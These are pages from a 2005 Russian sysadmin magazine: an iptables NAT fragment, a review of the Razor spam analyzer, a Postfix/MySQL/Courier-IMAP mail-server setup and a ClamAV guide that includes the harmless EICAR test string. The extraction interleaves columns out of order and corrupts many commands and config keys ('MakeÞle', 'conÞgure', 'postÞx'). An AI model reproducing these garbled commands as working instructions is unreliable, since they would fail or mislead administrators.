Для того чтобы заработала система преобразования сетевых адресов, необходимо дать команду: # iptables -A POSTROUTING -t nat -s $IP _ REMOTE ↵ -o $PPP _ MODEM -j SNAT --to-source внешний _ ip _ адрес
В процессе настройки было обнаружено, что операционная система Windows XP некорректно передает данные в сети VPN. Для корректной работы необходимо явно задать размер фрагментированных пакетов: # iptables -I POSTROUTING 1 -t nat -p tcp ↵ --tcp-ßags SYN,RST SYN -j TCPMSS --set-mss 1024
После того как заработала система преобразования сетевых адресов – пользователи локальной сети, – получают возможность практически полноценной работы в сети Интернет. К недостаткам данной системы (точнее, это относится только к NAT) причислить невозможность работы клиентов с файлообменными p2p-сетями (например, E-Donkey). Это связано с тем, что сервер файлообменной сети пытается установить прямое соединение с клиентом. Выйти из положения можно, включив форвардинг портов, которые использует p2p-клиент. В результате работы пользователи получают доступ в сеть Интернет, а администратор – гибкий инструмент управления этой системой.
45
администрирование
«БРИТВА» ДЛЯ СПАМА ОБЗОР АНАЛИЗАТОРА RAZOR
СЕРГЕЙ СУПРУНОВ За последние десятилетия человечество научилось довольно успешно бороться с компьютерными вирусами. А почему бы не использовать подобные методы и для борьбы со спамом? Один из таких подходов реализован в пакете Vipul’s Razor.
С
истема Razor является сигнатурным анализатором, принцип действия которого заключается в следующем. Чтобы определить, является ли сообщение спамом, система рассчитывает его сигнатуру (чтобы не реагировать на незначительные модификации, применяются различные алгоритмы получения нечетких сигнатур) и сверяет ее с базой спама, собираемого по всему миру. Если соответствие находится, то анализируемое письмо считается спамом и обрабатывается согласно дальнейшим настройкам. Если же совпадение не обнаружено, сообщение доставляется получателю как обычно. То есть подобные анализаторы действуют аналогично антивирусным пакетам, позволяя отлавливать известные экземпляры спама.
вашей системы. Для успешной работы в системе должны быть установлены следующие модули Perl: Time::HiRes, Digest::SHA1, MIME::Base64, Test::Simple, Test::Harness, Getopt::Long, File::Copy и URI::Escape. Чтобы не возиться с их установкой по отдельности, можно скачать и поставить пакет razor-agents-sdk. Кроме того, в сети можно найти RPM- и прочие пакеты, подготовленные для удобной установки на тот или иной дистрибутив Linux. Правда, на сайте проекта ссылки на такие пакеты отсутствуют. На этом установку можно считать завершенной, перейдем к первоначальной настройке.
Установка системы…
…потребуется выполнить несколько несложных действий. Хотя нужно заметить, что и в конфигурации по умолчанию Razor способен работать не хуже. Тем не менее, всегда лучше иметь определенный уровень контроля над работой установленных программ, поэтому приступим к первоначальной настройке. Прежде всего потребуется создать для Razor рабочий каталог, где он будет хранить свои лог-файлы, кэш и т. п. Если этого не сделать, то при первом запуске Razor домашний каталог будет создан в домашней директории запустившего его пользователя под именем .razor. Создать же домашний каталог в удобном вам месте позволит команда:
…никаких сложностей вызвать не должна. На системах FreeBSD наиболее удобный путь инсталляции дополнительных приложений – использование коллекции портов. После несложной и непродолжительной инсталляции в каталоге /usr/local/bin появятся пять программ, о назначении которых мы поговорим в дальнейшем: # ls -la razor* -r-xr-xr-x -r-xr-xr-x -r-xr-xr-x -r-xr-xr-x -r-xr-xr-x
1 1 1 1 1
root root root root root
wheel wheel wheel wheel wheel
933 935 636 939 939
30 30 30 30 30
авг авг авг авг авг
11:25 11:25 11:25 11:25 11:25
razor-admin razor-check razor-client razor-report razor-revoke
Более универсальный путь инсталляции, пригодный практически для всех UNIX- и Linux-систем, – установка из исходных кодов. Здесь тоже все банально. Скачиваем последний архив razor-agents с исходниками с сайта проекта (http://razor.sourceforge.net), распаковываем и затем: # # # #
perl MakeÞle.PL PREFIX=/usr/local make make test make install
Естественно, в качестве префикса вы можете указать любой путь, который лучше соответствует организации
46
Чтобы все заработало…
# razor-admin -home=/usr/home/serg/.razor -create # ls -l .razor -rw-r--r--rw-r--r--rw-r--r--rw-r--r--
1 1 1 1
root root root root
serg 484 7 сен 10:50 serg 20 7 сен 10:50 serg 22 7 сен 10:50 serg 38 7 сен 10:50
server.joy.cloudmark.com.conf servers.catalogue.lst servers.discovery.lst servers.nomination.lst
Как видите, этой командой в указанном каталоге мы создаем необходимые для работы файлы. Если вы планируете стать активным участником системы Razor и отсылать в центральную базу сообщения, которые вы сочли спамом, но которые не были определены системой, вам необходимо дополнительно зарегистрироваться на сервере, для чего используется команда:
администрирование # razor-admin -home=/usr/home/serg/.razor -register
Краткая справка Register successful. Identity stored in /usr/home/serg/.razor/identity-duej3i5wNF
В итоге вы получите личный идентификатор, и для вас система будет вести статистику по «рапортам» (как их отсылать, рассмотрим немного позже). Если вы часто будете пересылать как спам сообщения, другими участниками в качестве такового не рассматриваемые, то ваш рейтинг доверия упадет. Это позволяет снизить возможность проведения атак, нацеленных на компрометацию системы путем повышения числа ложных срабатываний. Дополнительно тонкую подстройку поведения системы можно выполнить, указывая необходимые опции в конфигурационном файле /usr/local/etc/razor-agent.conf. В процессе инсталляции он не создается, но вы можете сформировать его принудительно следующей командой: # razor-admin -create ↵ -conf=/usr/home/serg/.razor/razor-agent.conf
При этом указанный файл будет заполнен значениями по умолчанию, которые вы в дальнейшем сможете подкорректировать в соответствии со своими предпочтениями и конкретными условиями. Подробнее с параметрами конфигурации вы сможете ознакомиться на странице man razor-agent.conf(1) (хотя правильнее было бы поместить эту справку в пятый раздел).
Система Razor увидела свет в мае 2000 года. Летом 2002 года был выпущен первый релиз второй ветки (Razor v2). В настоящее время актуальной является версия 2.77, вышедшая 19 июля 2005 года. Распространяется под лицензией ARTISTIC. Помимо версии для POSIX-систем, компанией Cloudmark разрабатывается Razor для программ Outlook и Outlook Express под именем SpamNet.
На страницах справочного руководства приводится три примера подключения Razor: Чтобы изменить тэг «Subject» в заголовке писем: :0 Wc | razor-check :0 Waf | formail -i "Subject: Razor Warning: SPAM/UBE/UCE"
Добавляет тэг «X-Razor2-Warning» в заголовок сообщений: :0 Wc | razor-check :0 Waf | formail -A "X-Razor2-Warning: SPAM."
Помещает спам в отдельный почтовый ящик: :0 Wc | razor-check :0 Waf /home/foo/Mail/razor-caught
Выполнить проверку почты на спам… …позволяет команда razor-check. Например, так можно просканировать содержимое вашего почтового ящика: # razor-check -home=/usr/home/serg/.razor ./serg 11 15 21 24
Данная команда выводит на экран номера сообщений, которые, по ее мнению, являются спамом. На момент тестирования в ящике serg лежало 10 бережно сохраненных спамовых писем, но Razor распознал лишь четыре – два англоязычных, и два – отечественного производства. На остальные фильтр никак не отреагировал. В принципе столь низкая точность распознавания объясняется не очень высокой популярностью данного сервиса на просторах российского Интернета, и потому «родной» спам весьма слабо представлен в базах Razor. Однако сразу оговорюсь, что полученный мною результат отнюдь не претендует на статус официального тестирования. Тем более что на столь небольшом количестве образцов получить достоверные результаты практически невозможно. Это следует рассматривать просто как первое впечатление – что получилось, о том и написал.
Чтобы спам отсеивался автоматически… …придется прибегнуть к вспомогательным средствам. Наиболее эффективным выглядит взаимодействие с procmail.
№9, сентябрь 2005
Подробности смотрите в справке по procmail.
Если Razor ошибся… …вы можете указать ему на его ошибку, переслав пропущенный спам командой razor-report либо «отозвав» из базы нормальное сообщение, ошибочно признанное спамом, с помощью команды razor-revoke. В обоих случаях вы должны быть зарегистрированы в системе (см. выше). Подробности смотрите на man-страницах этих команд.
И в итоге получилось… …что Razor можно лишь с некоторой с натяжкой считать полезным инструментом для определения спама. В составе других средств, например, Spamassassin, эта система еще позволит увеличить качество детектирования нежелательной почты. Однако его самостоятельное использование, тем более в Рунете, вряд ли можно рассматривать как эффективное решение. Особенно в условиях современного «быстрого» спама, когда рассылка завершается в течение одного-двух часов, чего, как правило, недостаточно для накопления достоверного количества «рапортов». Если к этому добавить еще и все более изощренные способы «индивидуализации» каждого рассылаемого сообщения, с которыми даже нечеткие сигнатуры справляются далеко не всегда, то можно с грустью констатировать, что сигнатурные анализаторы доживают свой век, и вряд ли на них следует делать ставку при построении оборонительных сооружений на своем сервере. Удачи.
47
администрирование
НАСТРАИВАЕМ ОСНОВНЫЕ КОМПОНЕНТЫ ПОЧТОВОГО СЕРВЕРА
ЕВГЕНИЙ ЛИТВИНЕНКО Конфигурирование почтового сервера – задача далеко не легкая. Множество почтовых программ и их настроек могут стать для неопытного системного администратора настоящей головной болью. Описываемая в статье система проста в конфигурировании и практически не требует отладки.
С
егодня мы рассмотрим настройу почтового сервера на базе ALT Linux Master 2.4. Настройка системы основывается на проекте TNMailServer Project (http:// www.techie.org/Projects/TNMailServer-Full.aspx), создатели которого предоставили структуру базы данных и удобный веб-интерфейс для администрирования почтового сервера. Проект TNMailServer отличается от аналогов простотой в настройке. Почтовый сервер состоит из нескольких взаимосвязанных элементов. Наличие некоторых из них является обязательным, других – опциональным. В нашем случае используется следующая рабочая связка: Postfix+MySQL+CourierIMAP+ fetchmail+SquirrelMail. Рассмотрим функциональное назначение отдельных компонентов: ! Postfix – популярный MTA (Mail Transfer Agent), предназначенный для приема/передачи писем. ! MySQL – сервер баз данных. В данном случае он необходим для хранения пользовательских аккаунтов. Вместо него можно использовать другие БД, например, PostgreSQL или службу каталогов LDAP. А можно и просто текстовые файлы. ! Courier-IMAP – сервис доступа к почте, поддерживающий протокол IMAP4 и POP3 (опционально). ! Fetchmail – утилита для приема почты. В ее задачи входит доставка почты от провайдера. Используется только в том случае, если реальный почтовый ящик находится у провайдера. (Данная методика также может применяться, если канал доступа к сети Интернет недостаточно широк. Таким образом, письма ходят по каналу не постоянно, а забираются через определенные промежутки времени).
48
! SquirrelMail – удобный и простой веб-интерфейс для доступа к почте.
Для установки вышеперечисленных пакетов дается следующая команда: # apt-get install postÞx postÞx-mysql courier-imap ↵ courier-authdaemon-mysql fetchmail squirrelmail
Конфигурирование базы данных Теперь необходимо создать базу данных и таблицы в ней. Структуры таблиц создаются согласно рекомендациям разработчиков проекта TNMailServer (см. файл на сайте журнала www.samag.ru, в разделе «Исходный код» или на сайте проекта TNMailServer Project – http://techie.org/Projects/ TNMailServer.aspx?selForm=01-Introduction). Сервер принимает запросы к базе данных по запуску следующей команды: # mysql -u root -p
Названия полей непринципиальны, так как в конфигурационном файле Postfix указывается, что в конкретном поле будет храниться.
Настройка Postfix Далее настраиваем Postfix. Конфигурационные файлы пакета находятся в каталоге /etc/postfix. В файле main.cf изменяются следующие параметры: myhostname = mail.net.lps
администрирование указываем доменное имя почтового узла. mydomain = net.lps
в этом параметре указывается имя обслуживаемого домена. inet _ interfaces = 127.0.0.1
в параметре указываются сетевые интерфейсы, на которых принимает запросы Postfix. Так как в дальнейшем работа с почтой будет производиться через веб-интерфейс, то указываем только loopback-интерфейс, что повышает уровень безопасности системы в целом. Теперь к Postfix могут обратиться только локальные приложения. virtual _ mailbox _ base = /opt/vmail
указываем каталог, в котором будет храниться содержимое почтовых ящиков. В приведенном примере используется каталог /opt, так как он расположен на отдельном разделе. Традиционно почта хранится в каталоге /var. virtual _ mail _ box = 50000000
в этом параметре назначается максимальный размер почтового ящика (~50 Мб). Теперь необходимо указать поля базы данных, которые будет использовать Postfix: virtual _ alias _ maps = ↵ proxy:mysql:/etc/postÞx/ TNMailServer-Alias.cf
данная переменная отвечает за извлечение из базы e-mailадреса перенаправления почты (форвардинг). Файл TNMailServer-Alias.cf содержит следующие данные: user = postÞx password = password hosts = localhost dbname = TNMailServer table = TNAccount select _ Þeld = ForwardAddress where _ Þeld = EmailAddress additional _ conditions = and active=1
где: ! user – имя пользователя базы данных; ! password – пароль; ! table – имя таблицы в базе данных; ! hosts – доменное имя хоста, на котором расположен сервер баз данных; ! dbname – имя базы данных; ! select_field – содержит имя поля таблицы, данные из которого необходимо извлечь; ! where_field – содержит имя поля, по условию которого извлекается значение из select_field. В данном примере мы извлекаем адрес перенаправления почтовых сообщений из записи, которая содержит необходимый e-mail-адрес.
№9, сентябрь 2005
virtual _ mailbox _ domains = ↵ proxy:mysql:/etc/postÞx/ TNMailServer-Domain.cf
этот параметр отвечает за извлечение из БД имен виртуальных доменов. Файл TNMailServer-Domain.cf помимо общих записей содержит следующее: table = TNDomain select _ Þeld = Name where _ Þeld = Name
В поле Name содержится имя виртуального домена. virtual _ mailbox _ maps = ↵ proxy:mysql:/etc/postÞx/ TNMailServer-Mailbox.cf
данный параметр отвечает за извлечение из БД пути к почтовому ящику. Файл TNMailServer-Mailbox.cf содержит следующее: table = TNAccount select _ Þeld = MailDirLocation where _ Þeld = EmailAddress
Поле MailDirLocation содержит путь к каталогу почтового ящика относительно пути, указанного в параметре virtual_mailbox_base. virtual _ mailbox _ limit _ maps = ↵ proxy:mysql:/etc/postÞx/ TNMailServer-Quota.cf
здесь определяется максимальный размер почтового ящика (используется, если поле содержит значение отличное от нуля, иначе используется значение, указанное в параметре virtual_mail_box из файла main.cf). В файле TNMailServer-Quota.cf хранится следующее: table = TNAccount select _ Þeld = Quota where _ Þeld = EmailAddress
Теперь необходимо указать, куда направлять почту, которая адресована во «внешний мир». Здесь определяется адрес сервера: relay _ host = gts.lg.ua
В конфигурационном файле также присутствуют строки, в которых записаны идентификаторы пользователя и группы. Этому пользователю принадлежат каталоги почтовых ящиков и их файлы. Так как работа с почтой будет производиться через веб-интерфейс, то необходимо указать идентификаторы пользователя и группы, от имени которого работает веб-сервер Apache. Идентификаторы пользователей (UID) хранятся в файле /etc/passwd, идентификаторы групп (GID) – в файле /etc/ group. Пользователь apache обычно имеет идентификатор пользователя/группы 96. Однако, чтобы в этом удостовериться, даем команду: # id apache
Теперь необходимо внести соответствующие изменения в файл /etc/postfix/main.cf:
49
администрирование virtual _ minimum _ uid = 96 virtual _ uid _ maps = static:96 virtual _ gid _ maps = static:96
почтовый сервер с любого компьютера, оснащенного веббраузером.
Остальные настройки можно оставить по умолчанию.
Тестирование и отладка системы
Настройка IMAP-сервера Теперь необходимо настроить Courier-IMAP. Конфигурационные файлы сервиса находятся в каталоге /etc/ courier-imap. Courier-IMAP для авторизации пользователей почты использует свой компонент authdaemon. Данный компонент может использовать различные виды серверов баз данных, для хранения пользовательских аккаунтов. Для работы с MySQL устанавливается модуль authdaemon-mysql. (Так как утилита apt-get ставит все пакеты, от которых зависит устанавливаемый пакет, то достаточно дать команду для установки пакета authdaemonmysql, чтобы apt-get установил также пакеты courier-imap и authdaemon.) Для того чтобы Courier-IMAP использовал authdaemon, в файле /etc/courier-imap/imapd правится следующая строка: AUTHMODULES = "authdaemon"
В файле /etc/courier-imap/authdaemon.conf подключаем модуль поддержки MySQL:
Создав два тестовых ящика, можно проверить работоспособность почтовой системы. Для этого необходимо подключиться к нашему SMTP-серверу через утилиту telnet: # telnet localhost 25
Если сервер запущен, то программа покажет его приглашение: 220 mail.net.lps ESMTP Postfix
После этого сервер готов принимать команды. Сначала необходимо «представиться», дав команду HELO имя_ домена: HELO net.lps
Сервер возвратит ответ: 250 mail.net.lps
Теперь можно отправлять письмо. Сначала нужно написать e-mail отправителя: MAIL FROM:"test1@net.lps"
authmodulelist="authmysql"
Используемые поля базы данных прописываются в конфигурационном файле /etc/courier-imap/authdaemonmysql.conf: DEFAULT _ DOMAIN net.lps # имя обслуживаемого домена MYSQL _ SERVER localhost # доменное имя сервера БД MYSQL _ DATABASE TNMailServer # имя БД MYSQL _ USERNAME courier # имя пользователя БД MYSQL _ PASSWORD password # пароль MYSQL _ OPT 0 MYSQL _ USER _ TABLE TNAccount # имя таблицы в БД # имя поля, содержащее адрес электронной почты MYSQL _ LOGIN _ FIELD EmailAddress MYSQL _ NAME _ FIELD FullName # полное имя пользователя MYSQL _ CLEAR _ PWFIELD Password # пароль на почтовый ящик # путь к каталогу, в котором хранится содержимое # почтовых ящиков MYSQL _ HOME _ FIELD '/opt/vmail' # путь к почтовому ящику относительно пути, указанного # в MYSQL _ HOME _ FIELD MYSQL _ MAILDIR _ FIELD MailDirLocation MYSQL _ GID _ FIELD '96' # идентификатор группы # идентификатор пользователя MYSQL _ UID _ FIELD '96' # максимальный размер ящика MYSQL _ QUOTA _ FIELD Quota # шаблон запроса MYSQL _ QUERY _ LASTREAD UPDATE TNAccount SET ↵ LastLogin=now() WHERE EmailAddress=’%s’
Настройка интерфейса управления Для администрирования системы (в частности, для создания почтовых ящиков) предназначен веб-интерфейс. Его архив находится в сети Интернет по адресу: http://www.techie. org/downloads/tnmailserveradmin-1.4.1.tgz. Указанный архив распаковывается в каталог с веб-содержимым (по умолчанию /var/www). После этого можно администрировать
50
Если e-mail-адрес корректный, то сервер возвратит код ответа 250: 250 OK
В противном случае сервер возвратит код ошибки ~500 и укажет причину. После того как сервер принял адрес отправителя, необходимо ввести адрес получателя: RCPT TO:"test2@net.lps"
Сервер возвращает ответ: 250 OK
Теперь можно вводить текст письма. Сначала дается команда DATA. Сервер сообщит, что можно вводить текст. Для окончания ввода необходимо нажать клавиши <Enter> <.> <Enter>: 354 End data with <CR><LF>.<CR><LF>
После окончания ввода текста можно отключаться, для чего дается команда QUIT. После выполнения этой операции в почтовом ящике test2@net.lps должно появиться письмо от test1@net.lps. Для проверки необходимо подключиться к IMAP4- или POP3серверу. Команды POP3-сервера несколько проще, поэтому используется подключение к POP3-серверу: # telnet localhost 110
Корректно работающий сервер выдаст приглашение к вводу команд:
администрирование +OK Hello there
Для получения доступа к письмам нужно ввести имя пользователя и пароль: USER test2@net.lps PASS password
Ответ сервера: +OK Password required +OK logged in
Теперь нужно запросить количество писем в ящике. Это делается командой LIST. Сервер выдаст ответ в следующем виде: «номер_сообщения его_размер»:
После выбора пункта Save Data, данные записываются в конфигурационный файл.
Настройка Fetchmail Утилита fetchmail позволяет забирать почту от провайдера интернет-услуг и передавать ее локальной почтовой службе. Конфигурационный файл fetchmail всего один. Это /etc/ fetchmailrc. В нем устанавливаются следующие параметры: set daemon 1200
Здесь устанавливается интервал в секундах между запусками демона fetchmail. Почта забирается раз в 20 минут. poll gts.lg.ua with proto POP3
1 942
Для прочтения сообщения №1 дается команда RETR: RETR 1
Убедившись, что сообщение дошло до адресата, отключаемся: QUIT
Настройка веб-интерфейса Теперь необходимо предоставить доступ пользователям к почте. Есть два варианта: ! Через порты (143 IMAP/110 POP3). Клиент может работать с почтой через почтовые программы, например, The BAT!, Outlook Express. ! Через веб-интерфейс. Клиент работает с почтой через веб-интерфейс. Второй способ более надежен, так как доступ к сетевым портам открыт только с локальной машины. В данном проекте для доступа к почте используется SquirrelMail. При установке файлы программы копируются в каталог с веб-содержимым. Если пакет был установлен из архива, взятого на сайте разработчика, то конфигурационный файл SquirrelMail хранится в подкаталоге config пакета. Разработчики ALM немного усовершенствовали пакет. Поэтому если SquirrelMail установлен из репозитария ALM, то конфигурационный файл хранится в подкаталоге /etc/ squirrelmail. А в подкаталоге config находится только символическая ссылка на файл. Однако файл править нет необходимости, так как разработчики пакета предусмотрели скрипт на языке Perl. Запуская скрипт, мы интерактивно настраиваем все параметры. Скрипт называется config.pl, и находится он в подкаталоге config. После запуска скрипта раскрывается меню. Настройки, касающиеся доступа к IMAP-серверу, отображаются после выбора второго пункта меню (Server Settings). Здесь указывается обслуживаемый домен (net.lps), доменное имя хоста IMAP-сервера (localhost), а также конкретное название IMAP-сервера (courier).
№9, сентябрь 2005
В этой строке указываются доменное имя сервера почты провайдера (gts.lg.ua) и протокол доступа к почте (POP3). localdomains politex-college.lg.ua
В этом параметре записывается имя домена, на который приходит почта. user 'politex' there with password 'password' to * here
Здесь записывается имя пользователя почты (politex) и его пароль (password). Строка «to * here» говорит сервису, что полученную почту необходимо передавать локальному SMTP-серверу. Теперь на файл /etc/fetchmailrc надо назначить необходимые права доступа. Утилита fetchmail довольно чувствительна к изменению прав на этот файл, и не запускается, если не выставлены необходимые права доступа. По умолчанию владелец этого файла root. Изменяем его на пользователя fetchmail: # chown fetchmail:fetchmail /etc/fetchmailrc
Права на этот файл должны быть следующими: владелец может выполнять любые операции, группа – только запускать на выполнение: # chmod 710 /etc/fetchmailrc
Примечание: после внесения изменений в конфигурационные файлы какого-либо сервиса, для того чтобы изменения вступили в силу, необходимо его перезапустить. Для этого дается команда: # service имя _ сервиса restart
Перечень всех сервисов можно посмотреть в каталоге /etc/rc.d/init.d. В данной статье рассмотрено конфигурирование только самых необходимых компонентов. При желании вы можете увеличить функциональность почтового сервера, добавляя дополнительные модули (например, антивирус и спам-фильтр).
51
безопасность
ВСЕ ЛИ ВОЗМОЖНОСТИ Clam lamAV AV ВЫ ИСПОЛЬЗУЕТЕ?
АНДРЕЙ АВРАМЕНКО Антивирусная защита – одна из непосредственных и повседневных задач системного администратора. Чтобы её обеспечить, требуется установить антивирусные пакеты с функцией мониторинга на пользовательских компьютерах, обучить персонал, регулярно проверять все жесткие диски «вручную». Но, как правило, наиболее эффективным и простым в обслуживании является блокировка вирусов на сервере.
C
lamAV – антивирусная система, распространяемая под лицензией GPL. Постоянные обновления программы и базы вирусов (не реже чем 3 раза в неделю) дают понять, что проект активно поддерживается разработчиками из многих стран. Его возможности гораздо шире, чем простое сканирование файлов на вирусы, об этом и пойдет сегодня речь.
Установка и конфигурирование Об установке антивируса под различными операционными системами уже писалось в предыдущих номерах журнала, но я хотел бы добавить несколько слов о возможностях проверки RAR v3-архивов. До сих пор эта возможность не реализована в официальных версиях из-за проблем с лицензированием. Разработчики обещают, что в следующих версиях это будет исправлено, но пока нам остается либо ждать, либо добавить данную возможность самосто-
52
ятельно. Я выбираю последний вариант. На Opennet.ru были представлены несколько статей на эту тему, но ни одна не смогла служить точным руководством, так или иначе возникали проблемы. Сборка проходила с ClamAV 0.86.2, libunrar 3.4.3. Скачиваем исходные тексты libunrar с ftp://ftp.rarlab.com/ rar/unrarsrc-3.4.3.tar.gz. Скачиваем и применяем патч: http:// mcmcc.bat.ru/clamav/unrar-3.4.3_fix.patch: # # # # #
cd unrar patch -p1 < unrar-3.4.3 _ Þx.patch make -f makeÞle.unix lib install -s -D -m 755 libunrar3.so /usr/lib/libunrar3.so install -D -m 644 dll.hpp /usr/include/libunrar3/dll.hpp
Наложить исправление для версии 0.84, которое расположено на том же сайте, у меня не получилось. Заплатку пришлось немного подредактировать. Скачать ее мож-
безопасность но на сайте журнала http://www.samag.ru в разделе «Исходный код». # # # # # # # #
cd clamav-0.86.2 patch -p1 < clamav.086.2-libunrar3.patch aclocal autoconf automake ./conÞgure make make install
Для установки в ОС Linux я создал RPM и SRPM-пакеты. Их можно скачать там же. После установки есть смысл проверить работоспособность сканера. Для этого в исходных текстах существует папка test. Зайдем в нее и выполним: # clamscan *
Результат должен быть примерно следующим (см. рис. 1): Если в каком-то файле не найден вирус, то вы невнимательно следили за сообщениями скрипта configure. Например, если вирус не найден в архиве clam.exe.bz2, то скорее всего у вас не установлен пакет bzlib-devel. Для тестирования можно также использовать тестовую вирусную сигнатуру, доступную по адресу: http://www.eicar. com/anti_virus_test_file.htm: X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS- ↵ TEST-FILE!$H+H*
Ее необходимо сохранить в какой-то файл, например virus.txt, затем проверить запуском команды # clamscan virus.txt
В папке test отсутствуют файлы, запакованные rar3, поэтому для проверки этой функциональности необходимо создать архив с тестовой вирусной сигнатурой самостоятельно.
Возможности Рассматриваемая антивирусная система имеет широкие возможности, но большинство системных администраторов использует только некоторые из них, необходимые для решения какой-то определенной задачи.
Сканирование файлов с помощью ClamAV Сканирование производится командой clamscan. Для эффективности можно вводить дополнительные параметры, например: ! clamscan -r /directory – рекурсивное сканирование, т.е. сканирование в подкаталогах; ! clamscan -i – показывать только инфицированные файлы; ! clamscan -move=/infected_files_dir – перемещение инфицированных файлов в отдельную директорию; ! clamscan -remove – удаление инфицированных файлов. Последний параметр я не рекомендую использовать, т.к. не редкость когда ClamAV ошибается. В моей практи-
№9, сентябрь 2005
ке был случай, когда ClamAV находил вирус Oversided.zip в zip-архивах. При распаковке архивов антивирусная система считала файлы неинфицированными. Мы проводили специальную Рисунок 1. Результат тестирования установленного антивируса проверку запакованных файлов альтернативными продуктами – вирусы найдены не были. При обнаружении вируса clamscan Рисунок 2. Пример обнаружения вируса отобразит это в статистике сканирования (см. рис. 2). Регулярность полного сканирования файловой системы сервера на вирусы зависит от нескольких параметров, таких как ресурсы сервера, предоставляемые сервисы, требуемая надежность и т. п. Вы сами должны выбрать необходимую частоту. Некоторые специалисты рекомендуют запуск сканирования из cron по расписанию, хотя это и небезопасно, так как для этой программы не редкостью является подверженность отказу от обслуживания, правда, эти проблемы вовремя устраняются разработчиками в очередных версиях. Если необходима дополнительная функциональность, такая как on-access-проверка файлов или интеграция с MTA, то требуется запуск демона clamd. Для этого необходимо отредактировать конфигурационный файл clamd.conf. Если необходимо, чтобы сканирование проходило с использованием демона clamd, нужно воспользоваться командой clamdscan. Она является урезанной версией clamscan. После нахождения вируса clamd создаст соответствующую запись в лог-файле и выполнит определенное администратором действие (если данные опции включены в clamd.conf). Также этот способ сканирования более удобен при использовании проверки по расписанию.
Автоматическое обновление База вирусов регулярно обновляется. Для обновления используется программа freshclam, которая берет настройки из конфигурационного файла freshclam.conf. Для автоматического обновления достаточно поместить простой скрипт в cron: # !/bin/sh freshclam
Clamav-milter – сканирование почты на вирусы Для интеграции ClamAV с MTA необходимо выполнить: # ./conÞgure --enable-milter
На данный момент ClamAV поддерживает множество различных интерфейсов к MTA: amavisd-new, amavisd-ng,
53
безопасность CommunyGate Pro (модуль cgpav), Courier (модуль ClamCour), postfix (модули clamfilter, clamSMTP, clapf), exim (патч exiscan), qmail (модуль Gadoyanvirus), hMailServer, sendmail (модуль j-chkmail, mailness), MailAvenger и многие другие.
On-access сканер вирусов – Clamuko Одна из великолепных возможностей, которая реализована в ClamAV – Clamuko – сканирование файлов при попытке их чтения или запуска. Она реализована с помощью модуля ядра Dazuko. Когда я говорю о возможности проверки файлов при чтении, многие системные администраторы говорят, что это лишнее – вирусы в UNIX не живут. Это совершенно неверно, см. статью Криса Касперски о вирусах в UNIX [6]. Также данный вид проверки файлов подходит для файловых серверов. Я использую в своей локальной сети сервер с ОС Linux ALT Master 2.4 в качестве основного контроллера домена на базе Samba 3.0.14. Я ввел проверку перемещаемых профилей и общей сетевой папки. Результаты небольшого тестирования скорости: 1) копирование двух файлов общим размером 72 Мб: ! без проверки антивирусом – 1,5 секунды; ! с проверкой антивирусом – 45 секунд; 2) копирование 60 файлов общим размером 3 Мб: ! без проверки антивирусом – менее секунды; ! с проверкой антивирусом – 3 секунды; 3) копирование 540 файлов общим размером 24 Мб: ! без проверки антивирусом – 1 секунда; ! с проверкой антивирусом – 7 секунд. Из этого небольшого теста можно сделать вывод, что задержка при проверке файлов сильно растет с увеличением размера файлов. При проверке документов задержка практически незаметна, даже если общий размер файлов достаточно большой. Для установки модуля dazuko необходимо скачать последнюю версию с официального сайта, разархивировать и выполнить: # make
В Linux: ! для версии ядра Linux 2.2-2.4: # insmod dazuko.o # mknod -m 600 /dev/dazuko c `grep dazuko ↵ /proc/devices | sed "s/ .*//"` 0
! для версии ядра Linux 2.6: # insmod dazuko.ko # mknod -m 600 /dev/dazuko c `grep dazuko ↵ /proc/devices | sed "s/ .*//"` 0
Во FreeBSD: # /sbin/kldload ./dazuko.ko # mknod /dev/dazuko c 33 0
Samba-vscan – защита файлового сервера Данный проект от OpenAntiVirus создает расширение к файловому серверу Samba – проверка на вирусы, которая
54
осуществляется с помощью ClamAV, Kaspersky AntiVirus, Symantec AntiVirus Engine и некоторых других. Данный проект отличается от предыдущего тем, что нет необходимости подключать дополнительные модули ядра и не проводится локальная проверка файлов. Установка для Samba версий 2.2.4 и выше отличается. Я не стану описывать установку для старых версий и остановлюсь на Samba 3. Для того чтобы установить samba-vscan, вам потребуются исходные тексты Samba: скачиваем, разархивируем, заходим: # ./conÞgure # make proto
Скачиваем исходники samba-vscan, я использовал: http://www.openantivirus.org/snapshots/samba3-vscan-0.4.0snapshot1.tar.gz. Разархивируем, копируем в каталог исходных текстов Samba командой: # cp -ra samba-vscan-версия ↵ путь _ к _ исходникам _ Samba/examples/VFS # cd путь _ к _ исходникам _ Samba/examples/VFS/ ↵ samba-vscan-версия # # # #
./conÞgure gmake gmake install cp -a clamav/vscan-clamav.conf /etc/samba
Далее правим конфигурационный файл smb.conf. Выбираем ресурс, который будет проверяться антивирусом, например: [vscan-directory] comment = virus-protected directory path = /tmp vfs object = vscan-oav vscan-clamav: conÞg-Þle = /etc/samba/vscan-clamav.conf writeable = yes browseable = yes guest ok = yes
Наиболее распространенные опции:
! max file size = <value> – максимальный размер проверяемого файла.
! verbose file logging = <boolean> – протоколировать ре! ! ! ! ! !
зультаты проверки файлов. Если 1 – то все проверяемые файлы, если 0 – только инфицированные. scan on open = <boolean> – проверка при открытии файла. scan on close = <boolean> – проверка при закрытии файла. send warning message = <boolean> – отсылать winpopup сообщение клиенту при обнаружении вируса. infected file action = <quarantine|delete|nothing> – перемещать в директорию «на карантин», удалять или только информировать. quarantine directory = <string> – директория для перемещения файла «на карантин». exclude file types = <string> – исключить проверку следующих типов файлов.
Перед запуском просмотрите /etc/samba/vscan-clamav. conf. Мне пришлось добавить в него:
безопасность clamd socket name = /var/lib/clamav/clamd.socket
Проблема как этой, так и предыдущей реализации onaccess-сканирования при работе с Windows-клиентами – задержка при переходе между директориями. Дело в том, что windows упорно пытается найти значки в самих файлах, поэтому идет запрос на открытие файла. Антивирусная система, а точнее модули on-access сканирования не разбирают тип запроса и выполняют проверку при каждой попытке просмотреть значок. Из-за этого задержки между переходами по каталогам становятся заметны для конечных пользователей. Решением данной проблемы в последнем случае мог бы быть демон кэширования запросов firewall – vscancs от проекта OpenAntiVirus. Это программа, благодаря которой, не происходит сканирование файлов, не изменившихся после предыдущей проверки. Но дело в том, что она находится на стадии разработки и выпущена только альфа-версия.
Рисунок 3. Графический интерфейс KlamAV
